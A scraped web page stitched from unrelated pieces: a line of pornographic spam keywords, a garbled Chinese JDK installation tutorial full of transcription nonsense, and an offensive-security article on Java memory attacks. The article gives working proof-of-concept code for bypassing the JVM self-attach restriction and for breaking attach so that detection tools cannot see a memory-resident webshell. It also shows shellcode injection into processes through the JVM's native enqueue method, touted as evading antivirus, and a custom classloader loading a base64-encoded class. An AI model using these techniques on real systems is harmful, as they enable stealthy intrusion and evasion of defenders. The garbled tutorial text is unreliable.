操屁眼的视频在线免费看,日本在线综合一区二区,久久在线观看免费视频,欧美日韩精品久久综

新聞資訊

    小白入門:大學生畢業設計第一步:JavaJDK安裝教程一步到位。

    大家好我是周洋,今天和大家講解一下如何安裝JDK環境。如果不知道什么是JDK的小伙伴可以查看視頻下方的簡介,我在里面附上了JDK的介紹內容,方便大家查看。我會分別在windows Java以及linux上進行演示。演示的內容主要分為以下三個部分:

    ·一,如何下載不同版本的JDK。

    ·二,如何進行安裝?

    ·三,如何驗證配置的是否正確?

    先以Tips Tips :HDD HDG為例子。

    →首先打開視頻下方的鏈接,然后打開oracle的官網。在這里可以看到不同版本的JDK的安裝包,首先選擇micro X,如果電腦是 Java版本的就需要選擇MIN64架構的;

    →如果是Java版本的就選擇叉八X六十四這個版本的,我是Java版本的麥,所以我選擇點擊進行下載。在這里因為提前已經下載好了,所以就不再浪費時間、重復下載。

    →點擊這個安裝包,點擊這個JDK,點擊繼續,點擊安裝,輸入密碼,這個時候CPU就安裝完了。

    →我們驗證一下是不是安裝正確?打開終端軟件,在終端上輸入java convision,它就會彈出這樣的信息,這就代表著JDK環境安裝完成。

    感謝收看本次教程,再見。

    →首先打開下載好的JDK安裝文件,點擊下一步。這個時候使用安裝包進行安裝。

    →windows上的java環境就不需要進行額外的配置環境變色。

    →打開windows上的命令航空工具,mobile shell,輸入java Ultra,這個時候就可以看到已經安裝好了 java的環境。

    →windows上的賬號環境安裝教程就是這樣子,大家只要按照我的方式去下載對應的安裝包,其實很快就可以安裝,并不需要像像網上那樣配置環、配置復雜的環境變色。

    ·本節課的內容就到此完畢,下集課再見,拜拜。

    這次本節課程來展示如何在U盤款環境下配置java的環境變量。

    →首先把下載好的java安裝包放在桌面文件。

    →進入終端,把中端的字體稍微放大一點方便大家來看。

    →解壓完了眾多的環境,把joyjoy 的環境包復制到user目錄底下。

    →布置完成之后配置一下環境變量,再亮起一個終端,配置一下本地的環境變量,特效一下剛才寫的環境變亮。

    然后看一下這個位置。剛才的linux上的環境變量就已經配置完畢了。

    歡迎收看本節課,謝謝大家,再見。

    前言

    Java技術棧漏洞目前業已是web安全領域的主流戰場,隨著IPS、RASP等防御系統的更新迭代,Java攻防交戰陣地已經從磁盤升級到了內存里面。
    在今年7月份上海銀針安全沙龍上,我分享了《Java內存攻擊技術漫談》的議題,個人覺得PPT承載的信息比較離散,技術類的內容還是更適合用文章的形式來分享,所以一直想著抽時間寫一篇和議題配套的文章,不巧趕上南京的新冠疫情,這篇文章拖了一個多月才有時間寫。

    allowAttachSelf繞過

    Java的instrument是Java內存攻擊常用的一種機制,instrument通過attach方法提供了在JVM運行時動態查看、修改Java類的功能,比如通過instrument動態注入內存馬。但是在Java9及以后的版本中,默認不允許SelfAttach:

    Attach API cannot be used to attach to the current VM by default 
    
    The implementation of Attach API has changed in JDK 9 to disallow attaching to the current VM by default. This change should have no impact on tools that use the Attach API to attach to a running VM. It may impact libraries that misuse this API as a way to get at the java.lang.instrument API. The system property jdk.attach.allowAttachSelf may be set on the command line to mitigate any compatibility with this change.  
    

    也就是說,系統提供了一個jdk.attach.allowAttachSelf的VM參數,這個參數默認為false,且必須在Java啟動時指定才生效。

    編寫一個demo嘗試attach自身PID,提示Can not attach to current VM,如下:


    經過分析attch API的執行流程,定位到如下代碼:

    由上圖可見,attach的時候會創建一個HotSpotVirtualMachine的父類,這個類在初始化的時候會去獲取VM的啟動參數,并把這個參數保存至HotSpotVirtualMachine的ALLOW_ATTACH_SELF屬性中,恰好這個屬性是個靜態屬性,所以我們可以通過反射動態修改這個屬性的值。構造如下POC:

        Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine");
        Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF");
        field.setAccessible(true);
        Field modifiersField=Field.class.getDeclaredField("modifiers");
        modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL);
        field.setBoolean(null,true);
    

    由于ALLOW_ATTACH_SELF字段有final修飾符,所以在修改ALLOW_ATTACH_SELF值的同時,也需要把它的final修飾符給去掉(修改的時候,會有告警產提示,不影響最終效果,可以忽略)。修改后,可以成功attach到自身進程,如下圖:

    這樣,我們就成功繞過了allowAttachSelf的限制。

    內存馬防檢測

    隨著攻防熱度的升級,內存馬注入現在已經發展成為一個常用的攻擊技術。目前業界的內存馬主要分為兩大類:

    • Agent型
      利用instrument機制,在不增加新類和新方法的情況下,對現有類的執行邏輯進行修改。JVM層注入,通用性強。
    • 非Agent型
      通過新增一些Java web組件(如Servlet、Filter、Listener、Controller等)來實現攔截請求,從而注入木馬代碼,對目標容器環境有較強的依賴性,通用性較弱。

    由于內存馬技術的火熱,內存馬的檢測也如火如荼,針對內存馬的檢測,目前業界主要有兩種方法:

    • 基于反射的檢測方法該方法是一種輕量級的檢測方法,不需要注入Java進程,主要用于檢測非Agent型的內存馬,由于非Agent型的內存馬會在Java層新增多個類和對象,并且會修改一些已有的數組,因此通過反射的方法即可檢測,但是這種方法無法檢測Agent型內存馬。
    • 基于instrument機制的檢測方法該方法是一種通用的重量級檢測方法,需要將檢測邏輯通過attach API注入Java進程,理論上可以檢測出所有類型的內存馬。當然instrument不僅能用于內存馬檢測,java.lang.instrument是Java 1.5引入的一種可以通過修改字節碼對Java程序進行監測的一種機制,這種機制廣泛應用于各種Java性能檢測框架、程序調試框架,如JProfiler、IntelliJ IDE等,當然近幾年比較流行的RASP也是基于此類技術。

    既然通過instrument機制能檢測到Agent型內存馬,那我們怎么樣才能避免被檢測到呢?答案比較簡單,也比較粗暴,那就是把instrument機制破壞掉。這也是在冰蝎3.0中內存馬防檢測機制的實現原理,檢測軟件無法attach,自然也就無法檢測。

    首先,我們先分析一下instrument的工作流程,如下圖:

    1. 檢測工具作為Client,根據指定的PID,向目標JVM發起attach請求;
    2. JVM收到請求后,做一些校驗(比如上文提到的jdk.attach.allowAttachSelf的校驗),校驗通過后,會打開一個IPC通道。
    3. 接下來Client會封裝一個名為AttachOperation的C++對象,發送給Server端;
    4. Server端會把Client發過來的AttachOperation對象放入一個隊列;
    5. Server端另外一個線程會從隊列中取出AttachOperation對象并解析,然后執行對應的操作,并把執行結果通過IPC通道返回Client。

    由于該套流程的具體實現在不同的操作系統平臺上略有差異,因此接下來我分平臺來展開。

    windows平臺

    通過分析定位到如下關鍵代碼:

    可以看到當var5不等于0的時候,attach會報錯,而var5是從var4中讀取的,var4是execute的返回值,跟入execute,如下:

    可以看到,execute方法又把核心工作交給了方法enqueue,這個方法是一個native方法,如下圖:

    繼續跟入enqueue方法:

    可以看到enqueue中封裝了一個DataBlock對象,里面有幾個關鍵參數:

    strcpy(data.jvmLib, "jvm");
    strcpy(data.func1, "JVM_EnqueueOperation");
    strcpy(data.func2, "_JVM_EnqueueOperation@20");
    

    以上操作都發生在Client側,接下來我們轉到Server側,定位到如下代碼:

    這段代碼是把Client發過來的對象進行解包,然后解析里面的指令。經常寫Windows shellcode的人應該會看到兩個特別熟悉的API:GetModuleHandle、GetProcAddress,這是動態定位DLL中導出函數的常用API。這里的操作就是動態從jvm.dll中動態定位名稱為JVM_EnqueueOperation和_JVM_EnqueueOperation@20的兩個導出函數,這兩個函數就是上文流程圖中將AttachOperation對象放入隊列的執行函數。

    到這里我想大家應該知道接下來該怎么做了,那就是inlineHook。我們只要把jvm.dll中的這兩個導出函數給NOP掉,不就可以成功把instrument的流程給破壞掉了么?

    靜態分析結束了,接下來動態調試Server側,定位到如下位置:

    圖中RIP所指即為JVM_EnqueueOperation函數的入口,我們只要讓RIP執行到這里直接返回即可:

    怎么修改呢?當然是用JNI,核心代碼如下:

    unsigned char buf[]="\xc2\x14\x00"; //32,direct return enqueue function
    HINSTANCE hModule = LoadLibrary(L"jvm.dll");
    //LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
    LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");
    DWORD old;
    if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){
    WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);
    VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);
    }
    
    /*unsigned char buf[]="\xc3"; //64,direct return enqueue function
    HINSTANCE hModule = LoadLibrary(L"jvm.dll");
    //LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
    LPVOID dst=GetProcAddress(hModule,"JVM_EnqueueOperation");
    //printf("ConnectNamedPipe:%p",dst);
    DWORD old;
    if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){
    WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
    VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);
    }*/
    

    注意這里要考慮32位和64位的區別,同時要注意堆棧平衡,否則可能會導致進程crash。
    到此,我們就實現了Windows平臺上的內存馬防檢測(Anti-Attach)功能,我們嘗試用JProfiler連接試一下,可見已經無法attach到目標進程了:

    以上即是Windows平臺上的內存馬防檢測功能原理。

    Linux平臺

    在Linux平臺,instrument的實現略有不同,通過跟蹤整個流程定位到如下代碼:

    可以看到,在Linux平臺上,IPC通信采用的是UNIX Domain Socket,因此想破壞Linux平臺下的instrument attach流程還是比較簡單的,只要把對應的UNIX Domain Socket文件刪掉就可以了。
    刪掉后,我們嘗試對目標JVM進行attach,便會提示無法attach:

    到此,我們就實現了Linux平臺上的內存馬防檢測(Anti-Attach)功能,當然其他*nix-like的操作系統平臺也同樣適用于此方法。

    最后說一句,內存馬防檢測,其實可以在上述instrument流程圖中的任意一個環節進行破壞,都可以實現Anti-Attach的效果。

    Java原生遠程進程注入

    在Windows平臺上,進程代碼注入有很多種方法,最經典的方法要屬CreateRemoteThread,但是這些方法大都被防護系統盯得死死的,比如我寫了如下一個最簡單的遠程注入shellcode的demo:

    往當前進程里植入一個彈計算器的shellcode,編譯,運行,然后意料之中出現如下這種情況:

    但是經過分析JVM的源碼我發現,在Windows平臺上,Java在實現instrument的時候,出現了一個比較怪異的操作。

    在Linux平臺,客戶端首先是先和服務端協商一個IPC通道,然后后續的操作都是通過這個通道傳遞AttachOperation對象來實現,換句話說,這中間傳遞的都是數據,沒有代碼。

    但是在Windows平臺,客戶端也是首先和服務端協商了一個IPC通道(用的是命名管道),但是在Java層的enqueue函數中,同時還使用了CreateRemoteThread在服務端啟動了一個stub線程,讓這個線程去在服務端進程空間里執行enqueue操作:

    這個stub執行體pCode是在客戶端的native層生成的,生成之后作為thread_func傳給服務端。但是,雖然stub是在native生成的,這個stub卻又在Java層周轉了一圈,最終在Java層以字節數組的方式作為Java層enqueue函數的一個參數傳進Native。

    這樣就形成了一個完美的原生遠程進程注入,構造如下POC:

    import java.lang.reflect.Method;
    
    public class ThreadMain   {
        public static void main(String[] args) throws Exception {
            System.loadLibrary("attach");
            Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
            for (Method m:cls.getDeclaredMethods())
            {
                if (m.getName().equals("enqueue"))
                {
                    long hProcess=-1;
                    //hProcess=getHandleByPid(30244);
                    byte buf[] = new byte[]   //pop calc.exe
                            {
                                    (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                                    (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                                    (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                                    (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                                    (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                                    (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                                    (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                                    (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                                    (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                                    (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                                    (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                                    (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                                    (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                                    (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                                    (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                                    (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                                    (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                                    (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                                    (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                                    (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                                    (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                                    (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                                    (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                                    (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                                    (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                                    (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                                    (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                                    (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                                    (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                                    (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                                    (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                                    (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                                    (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                                    (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                                    (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
                            };
    
                    String cmd="load";String pipeName="test";
                        m.setAccessible(true);
                    Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}});
                    System.out.println("result:"+result);
                }
    
    
            }
            Thread.sleep(4000);
        }
        public static long getHandleByPid(int pid)
        {
            Class cls= null;
            long hProcess=-1;
            try {
                cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");
                for (Method m:cls.getDeclaredMethods()) {
                    if (m.getName().equals("openProcess"))
                    {
                        m.setAccessible(true);
                        Object result=m.invoke(cls,pid);
                        System.out.println("pid :"+result);
                        hProcess=Long.parseLong(result.toString());
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
            return hProcess;
        }
    }
    

    編譯,執行:

    成功執行shellcode,而且Windows Defender沒有告警,天然免殺。畢竟,誰能想到有著合法簽名安全可靠的Java.exe會作惡呢:)

    至此,我們實現了Windows平臺上的Java遠程進程注入。另外,這個技術還有個額外效果,那就是當注入進程的PID設置為-1的時候,可以往當前Java進程注入任意Native代碼,以實現不用JNI執行任意Native代碼的效果。這樣就不需要再單獨編寫JNI庫來執行Native代碼了,也就是說,上文提到的內存馬防檢測機制,不需要依賴JNI,只要純Java代碼也可以實現。

    冰蝎3.0中提供了一鍵cs上線功能,采用的是JNI機制,中間需要上傳一個臨時庫文件才能實現上線。現在利用這個技術,可以實現一個JSP文件或者一個反序列化Payload即可上線CS:

    自定義類調用系統Native庫函數

    在上一小節Java原生遠程進程注入中,我的POC里是通過反射創建了一個sun.tools.attach.VirtualMachineImpl類,然后再去調用類里面的enqueue這個Native方法。這時可能會有同學有疑惑,這個Native方法位于attach.dll,這個dll是JDK和Server-JRE默認自帶的,但是這個sun.tools.attach.VirtualMachineImpl類所在的tools.jar包并不是每個JDK環境都有的。這個技術豈不是要依賴tools.jar?因為有些JDK環境是沒有tools.jar的。當然,這個擔心是沒必要的。

    我們只要自己寫一個類,類的限定名為sun.tools.attach.VirtualMachineImpl即可。不過可能還會有疑問,我們自己寫一個sun.tools.attach.VirtualMachineImpl類,但是如果某個目標里確實有tools.jar,那我們自己寫的類在加載的時候就會報錯,有沒有一個更通用的方法呢?當然還是有的。

    其實這個方法在冰蝎1.0版本的時候就已經解決了,那就是用一個自定義的classLoader。但是我們都知道classLoader在loadClass的時候采用雙親委托機制,也就是如果系統中已經存在一個類,即使我們用自定義的classLoader去loadClass,也會返回系統內置的那個類。但是如果我們繞過loadClass,直接去defineClass即可從我們指定的字節碼數組里創建類,而且類名我們可以任意自定義,重寫java.lang.String都沒問題:) 然后再用defineClass返回的Class去實例化,然后再調用我們想調用的Native函數即可。因為Native函數在調用的時候只檢測發起調用的類限定名,并不檢測發起調用類的ClassLoader,這是我們這個方法能成功的原因。

    比如我們自定義如下這個類:

    package sun.tools.attach;
    
    import java.io.IOException;
    import java.util.Scanner;
    
    public class WindowsVirtualMachine {
        static native void enqueue(long hProcess, byte[] stub,
                                String cmd, String pipename, Object... args) throws IOException;
    
        static native long openProcess(int pid) throws IOException;
    
        public static void run(byte[] buf) {
            System.loadLibrary("attach");
            try {
                enqueue(-1, buf, "test", "test", new Object[]{});
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

    然后把這個類編譯成class文件,把這個文件用Base64編碼,然后寫到如下POC里:

    import java.io.*;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    import java.security.Permission;
    import java.util.Arrays;
    import java.util.Base64;
    
    public class Poc {
    
        public static class Myloader extends ClassLoader //繼承ClassLoader
        {
            public Class get(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
    
        }
    
        public static void main(String[] args)
        {
    
            try {
                
                String classStr="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";
                Class result = new Myloader().get(Base64.getDecoder().decode(classStr));
    
                for (Method m:result.getDeclaredMethods())
                {
                    System.out.println(m.getName());
                    if (m.getName().equals("run"))
                    {
                        m.invoke(result,new byte[]{});
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

    這樣就可以通過自定義一個系統內置類來加載系統庫函數的Native方法。

    無文件落地Agent型內存馬植入

    可行性分析

    前面我們講到了目前Java內存馬的分類:Agent型內存馬和非Agent型內存馬。由于非Agent型內存馬注入后,會產生新的類和對象,同時還會產生各種錯綜復雜的相互引用關系,比如要創建一個惡意Filter內存馬,需要先修改已有的FilterMap,然后新增FilterConfig、FilterDef,最后還要修改FilterChain,這一系列操作產生的臟數據過多,不夠整潔。因此我還是認為Agent型內存馬才是更理想的內存馬。

    但是目前來看,Agent型內存馬的缺點也非常明顯:

    • 磁盤有agent文件落地
    • 需要上傳文件,植入步驟復雜
    • 如無寫文件權限,則無法植入

    眾所周知,想要動態修改JVM中已經加載的類的字節碼,必須要通過加載一個Agent來實現,這個Agent可以是Java層的agent.jar,也可以是Native層的agent.so,但是必須要有個agent。
    有沒有一種方法可以既優雅又簡潔的植入Agent型內存馬呢?換句話說,有沒有一種方法可以在不依賴額外Agent的情況下,動態修改JVM中已經加載的類的字節碼呢?以前沒有,現在有了:)

    首先,我們先看一下通過Agent動態修改類的流程:

    1. 在客戶端和目標JVM建立IPC連接以后,客戶端會封裝一個用來加載agent.jar的AttachOperation對象,這個對象里面有三個關鍵數據:actioName、libName和agentPath;
    2. 服務端收到AttachOperation后,調用enqueue壓入AttachOperation隊列等待處理;
    3. 服務端處理線程調用dequeue方法取出AttachOperation;
    4. 服務端解析AttachOperation,提取步驟1中提到的3個參數,調用actionName為load的對應處理分支,然后加載libinstrument.so(在windows平臺為instrument.dll),執行AttachOperation的On_Attach函數(由此可以看到,Java層的instrument機制,底層都是通過Native層的Instrument來封裝的);
    5. libinstrument.so中的On_Attach會解析agentPath中指定的jar文件,該jar中調用了redefineClass的功能;
    6. 執行流轉到Java層,JVM會實例化一個InstrumentationImpl類,這個類在構造的時候,有個非常重要的參數mNativeAgent:

    這個參數是long型,其值是一個Native層的指針,指向的是一個C++對象JPLISAgent。
    7. InstrumentationImpl實例化之后,再繼續調用InstrumentationImpl類的redefineClasses方法,做稍許校驗之后繼續調用InstrumentationImpl的Native方法redefineClasses0
    8. 執行流繼續走入Native層:

    繼續跟入:

    做了一系列判斷之后,最終調用jvmtienv的redefineClasses方法執行類redefine操作:

    接下來理一下思路,在上面的8個步驟中,我們只要能跳過前面5個步驟,直接從步驟6開始執行,即可實現我們的目標。那么問題來了,步驟6中在實例化InstrumentationImpl的時候需要的非常重要的mNativeAgent參數值,這個值是一個指向JPLISAgent對象的指針,這個值我們不知道。只有一個辦法,我們需要自己在Native層組裝一個JPLISAgent對象,然后把這個對象的地址傳給Java層InstrumentationImpl的構造器,就可以順利完成后面的步驟。

